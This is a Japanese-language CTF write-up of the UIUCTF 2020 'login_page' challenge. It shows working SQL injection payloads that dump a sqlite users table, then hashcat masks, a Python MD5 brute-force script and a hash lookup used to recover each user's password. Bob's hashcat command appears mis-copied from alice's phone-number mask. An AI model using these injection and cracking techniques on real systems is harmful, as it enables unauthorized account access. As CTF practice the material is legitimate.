はまやんはまやんはまやん

hamayanhamayan's blog

login_page [UIUCTF 2020]

CTFtime.org / UIUCTF 2020 / login_page

I came across this login page running sqlite and was told there was a flag behind it. Can you find it?
https://login.chal.uiuc.tf
Author: Husnain

ログインページが与えられる。
これを突破すればよさそう。

SQL Injection?

普通のログイン失敗はError: Invalid Credentials. Please try again.と出てくるが、
Usernameに"を入れてみると、Error: Invalid input!とエラーが変わる。
SQL Injectionができそうだ。
ユーザー検索の/searchの方も同じような感じ。こっちは応答が出るので、こっちで色々試す。

" or 1=1; --
⇒
Name    Bio
noob    this is noob's bio
alice   this is alice's bio
bob this is bob's bio
carl    this is carl's bio
dania   this is dania's bio
が出てきた。

" union select 1,2; -- 
⇒
1,2がインジェクションできた

" union select 1, group_concat(sql) FROM sqlite_master; -- 
⇒
色々試したら、これでSQLが出てきた。  
SQLiteだったみたい。
CREATE TABLE users ( username text primary key not null, password_hash text not null, hint text not null, bio text not null)

x" union select username, hint from users; -- 
⇒
ヒントが抜ける。

x" union select username, password_hash from users; -- 
⇒
ハッシュが抜ける

抜けた情報一覧

username password_hash hint bio
alice 530bd2d24bff2d77276c4117dc1fc719 My phone number (format: 000-000-0000) this is alice's bio
bob 4106716ae604fba94f1c05318f87e063 My favorite 12 digit number (md5 hashed for extra security) [starts with a 1] this is bob's bio
carl 661ded81b6b99758643f19517a468331 My favorite Greek God + My least favorite US state (no spaces) this is carl's bio
dania 58970d579d25f7288599fcd709b3ded3 الحيوان المفضل لدي (6 حروف فقط) this is dania's bio
noob 8553127fedf5daacc26f3b677b58a856 this is noob's bio

これ見ると、ヒントとハッシュをもとにパスワードを特定する問題な感じがする。

pythonでやったら全然終わらなくてPC投げた。
以下を見ると、hashcatを使うのが定石のようだ。

Password Crack

alice
hashcatでクラックしよう。
writeups/README.md at master · rpm0618/writeups
死ぬほど細かい解説。
hashcat.exe 530bd2d24bff2d77276c4117dc1fc719 -a 3 ?d?d?d-?d?d?d-?d?d?d?dでクラック。 結果が530bd2d24bff2d77276c4117dc1fc719:704-186-9744となるので、alice:704-186-9744でログインすると_4nd_unが得られる。

bob
aliceと同様に、hashcatでクラックしよう。
hashcat.exe 4106716ae604fba94f1c05318f87e063 -a 3 ?d?d?d-?d?d?d-?d?d?d?dでクラック。 結果が4106716ae604fba94f1c05318f87e063:102420484096となるので、102420484096をmd5エンコードしたbob:5809be03c7cc31cdb12237d0bd718898でログインするとh45h_63が得られる。

carl
以下から選択肢を抽出して、pythonで全探索する。
Greek God: Meet the Greek Gods – Rick Riordan
US state: List of states and territories of the United States - Wikipedia

import hashlib

gods = ['Zeus', 'Hera', 'Poseidon', 'Demeter', 'Ares', 'Athena', 'Apollo', 'Artemis', 'Hephaestus', 'Aphrodite', 'Hermes', 'Dionysus', 'Hades', 'Hypnos', 'Nike', 'Janus', 'Nemesis', 'Iris', 'Hecate', 'Tyche']
states = ['Alabama', 'Alaska', 'Arizona', 'Arkansas', 'California', 'Colorado', 'Connecticut', 'Delaware', 'Florida', 'Georgia', 'Hawaii', 'Idaho', 'Illinois', 'Indiana', 'Iowa', 'Kansas', 'Kentucky', 'Louisiana', 'Maine', 'Maryland', 'Massachusetts', 'Michigan', 'Minnesota', 'Mississippi', 'Missouri', 'Montana', 'Nebraska', 'Nevada', 'New Hampshire', 'New Jersey', 'New Mexico', 'New York', 'North Carolina', 'North Dakota', 'Ohio', 'Oklahoma', 'Oregon', 'Pennsylvania', 'Rhode Island', 'South Carolina', 'South Dakota', 'Tennessee', 'Texas', 'Utah', 'Vermont', 'Virginia', 'Washington', 'West Virginia', 'Wisconsin', 'Wyoming']

ans = '661ded81b6b99758643f19517a468331'
for d1 in gods:
    for d2 in states:
        x = f'{d1}{d2}'
        y = hashlib.md5(x.encode('utf-8')).hexdigest()
        if y == ans:
            print(f'HIT!! {x}')
            exit(0)

HIT!! DionysusDelawareとなるので、carl:DionysusDelawareでログインすると、7_d4t_が得られる。

dania
ヒントをGoogle翻訳にかけると、「私の好きな動物(6文字のみ)」と出てくる。
6文字なので、全探索しよう。
アラビア語もhashcatで実はできる。 writeups/README.md at master · rpm0618/writeups
この解説通りにクラックしていこう。
hashcat.exe 58970d579d25f7288599fcd709b3ded3 --hex-charset -1 d8d9dadb -2 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf -a 3 ?1?2?1?2?1?2?1?2?1?2?1?2 -o result.txt
…と思ったが無茶苦茶時間がかかる。
公式discordで他の人の回答を見ると、
./hashcat.exe 58970d579d25f7288599fcd709b3ded3 --hex-charset -1 d8d9 -2 8182838485868788898aa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf -a 3 ?1?2?1?2?1?2?1?2?1?2?1?2 -o result.txt
の方が範囲がちゃんと絞られていて早く出るらしい。やってみると、すぐ出た。
58970d579d25f7288599fcd709b3ded3:طاووسةと出るので、dania:طاووسةでログインすると、c45h}が得られる。

noob
CrackStationで登録済みハッシュが無いか探してみるとヒットする。皮肉だ…

hash: 8553127fedf5daacc26f3b677b58a856
type: md5
result: SoccerMom2007

noob:SoccerMom2007でアクセスすると、uiuctf{Dumpが得られる。
あとは全部くっつけたら答え。